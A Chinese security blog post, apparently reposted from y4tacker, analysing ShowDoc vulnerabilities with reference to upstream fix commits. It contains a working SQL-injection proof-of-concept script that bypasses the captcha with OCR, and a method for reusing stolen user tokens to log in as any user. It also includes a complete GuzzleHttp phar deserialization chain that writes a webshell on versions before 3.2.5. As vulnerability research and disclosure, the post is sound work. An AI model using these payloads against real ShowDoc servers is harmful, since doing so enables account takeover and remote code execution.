ShowDocV3-2-5最新版SQL注入及老版本反序列化分析

admin 2024年10月29日00:32:58评论15 views字数 4706阅读15分41秒阅读模式

ShowDocV3.2.5最新版SQL注入及老版本反序列化分析

注入

从提交记录我们能找到一些提示

https://github.com/star7th/showdoc/commit/805983518081660594d752573273b8fb5cbbdb30

首先首当其冲,第一行先是将函数new_is_writeable权限改为private,这应该是作者一开始的失误(这个函数在其他地方都有出现且都是private修饰,仅仅在这里是public),而这个函数的作用聪明一点看了某步的通告都知道应该能猜到和phar反序列化有关

其后看其他修改的地方或许你会感到很懵逼,似乎都与注入没关系,仔细看猜测应该是架构代码方面的变动,从一些细节也能看到其实改动挺糙的,但看起来改了很久。

看遍前台功能的代码后会发现注入点非常简单,https://github.com/star7th/showdoc/blob/5b6b095899b71af7728a8371c668bb288ccfd1e9/server/Application/Api/Controller/ItemController.class.php#L577,在这里可以看到item_id其实是没有做类型转换,后面的代码中`$item = D(“Item”)->where(“item_id = ‘$item_id’ “)->find();`item_id直接做了拼接(多说一下要想防止注入应该使用前面代码中的数组的方式实现参数绑定)

123456789101112131415161718192021222324252627282930313233343536373839
public function pwd(){    $item_id = I("item_id");    $page_id = I("page_id/d");    $password = I("password");    $refer_url = I('refer_url');    $captcha_id = I("captcha_id");    $captcha = I("captcha");    if (!D("Captcha")->check($captcha_id, $captcha)) {        $this->sendError(10206, L('verification_code_are_incorrect'));        return;    }    if (!is_numeric($item_id)) {        $item_domain = $item_id;    }    //判断个性域名    if ($item_domain) {        $item = D("Item")->where("item_domain = '%s'", array($item_domain))->find();        if ($item['item_id']) {            $item_id = $item['item_id'];        }    }    if ($page_id > 0) {        $page = M("Page")->where(" page_id = '$page_id' ")->find();        if ($page) {            $item_id = $page['item_id'];        }    }    $item = D("Item")->where("item_id = '$item_id' ")->find();    if ($password && $item['password'] == $password) {        session("visit_item_" . $item_id, 1);        $this->sendResult(array("refer_url" => base64_decode($refer_url)));    } else {        $this->sendError(10010, L('access_password_are_incorrect'));    }}

另外在利用时会受验证码的影响,当然由于生成的验证码其实是非常简单的,根据以上逻辑我们很容易得到验证脚本,在以下脚本中只要返回{"error_code":0,"data":{"refer_url":"Hacked By Y4tacker"}}即利用成功(本篇以Mysql环境做分析,SQLite类似不做过多重复工作)

12345678910111213141516171819202122
import ddddocrimport requestsocr = ddddocr.DdddOcr()sess = requests.session()pre_url = "http://xxx:1235"def capture():    captcha_id = sess.get(pre_url + "/server/index.php?s=/api/common/createCaptcha").json()['data']['captcha_id']    captcha = sess.get(pre_url + f"/server/index.php?s=/api/common/showCaptcha&captcha_id={captcha_id}").content    captcha_code = ocr.classification(captcha)    return captcha_id, captcha_codecaptcha_id, captcha_code = capture()r = sess.get(    url=f"http://xxxx:1235/server/index.php?s=/Api/Item/pwd&captcha_id={captcha_id}&captcha={captcha_code}&item_id=y4') union select 1,2,3,4,5,6,7,8,9,10,11,12--&password=6&refer_url=SGFja2VkIEJ5IFk0dGFja2Vy&1716885664000").textprint(r)

在后利用的过程中会发现一个很有意思的表user_token,其中存了token字段

这是一个非常有意思的字段,在很多函数中都会用到checkLogin来判断是否登录,如果我们知道token那么就能直接登录任意用户了

123456789101112131415161718192021222324
public function checkLogin($redirect = true){    if (!session("login_user")) {        $user_token = I("user_token") ? I("user_token") : cookie('cookie_token');        $user_token = $user_token ? $user_token : $_REQUEST['user_token'];        if ($user_token) {            $ret = D("UserToken")->getToken($user_token);            if ($ret && $ret['token_expire'] > time()) {                D("UserToken")->setLastTime($user_token);                $login_user = D("User")->where("uid = $ret[uid]")->find();                unset($ret['password']);                session("login_user", $login_user);                return $login_user;            }        }        if ($redirect) {            $this->sendError(10102);            exit();        }    } else {        return  session("login_user");    }}

V < 3.2.5 反序列化

首先既然是TP的框架那么首当其冲我们就可以先看看ThinkPHP的版本,如果有合适的版本那么直接就可以拿来用了

https://github.com/star7th/showdoc/blob/v3.2.4/server/ThinkPHP/ThinkPHP.php中我们不难发现版本居然是`3.2.3`,看到这个老版本号就知道想通过TP的反序列化直接RCE不太现实了,但我们不必沮丧,这个系统有composer包管理,因此我们便可以看看能不能通过第三方依赖实现反序列化到RCE的效果

https://github.com/star7th/showdoc/tree/v3.2.4/server/vendor

当然答案是YES,在访问后我们一眼能看到一个老朋友GuzzleHttp,因此我们可以直接用现成的链子

12345678910111213141516171819202122232425262728293031323334353637383940414243444546474849505152
<?phpnamespace GuzzleHttp\Cookie{    class SetCookie {        private static $defaults = [            'Name'     => null,            'Value'    => null,            'Domain'   => null,            'Path'     => '/',            'Max-Age'  => null,            'Expires'  => null,            'Secure'   => false,            'Discard'  => false,            'HttpOnly' => false        ];        function __construct(){            $this->data['Expires'] = '<?php phpinfo();?>';            $this->data['Discard'] = 0;        }    }    class CookieJar{        private $cookies = [];        private $strictMode;        function __construct() {            $this->cookies[] = new SetCookie();        }    }    class FileCookieJar extends CookieJar {        private $filename;        private $storeSessionCookies;        function __construct() {            parent::__construct();            $this->filename = "y4tacker.php";            $this->storeSessionCookies = true;        }    }}namespace{    $pop = new \GuzzleHttp\Cookie\FileCookieJar();    $phar = new \Phar("y4tacker.phar");    $phar->startBuffering();    $phar->setStub('GIF89a'."__HALT_COMPILER();");    $phar->setMetadata($pop);    $phar->addFromString("test.txt", "test");    $phar->stopBuffering();}

之后在后台上传文件得到文件名后,就能访问/server/index.php?s=/home/index/new_is_writeable&file=phar://../Public/Uploads/xxxx-xx-xx/xx.png触发反序列化实现webshell写入

后话

正如开篇说的那般,此次提交仅仅只修复了反序列化触发的点,并没有修复sql注入也就导致了新版依然暴露在被攻击的风险当中

今天再看终于被修复了:https://github.com/star7th/showdoc/commit/84fc28d07c5dfc894f5fbc6e8c42efd13c976fda,可以安心删除博客密码了

- source:y4tacker

  • 左青龙
  • 微信扫一扫
  • weinxin
  • 右白虎
  • 微信扫一扫
  • weinxin
admin
  • 本文由 发表于 2024年10月29日00:32:58
  • 转载请保留本文链接(CN-SEC中文网:感谢原作者辛苦付出):
                   ShowDocV3-2-5最新版SQL注入及老版本反序列化分析https://cn-sec.com/archives/3314463.html

发表评论

匿名网友 填写信息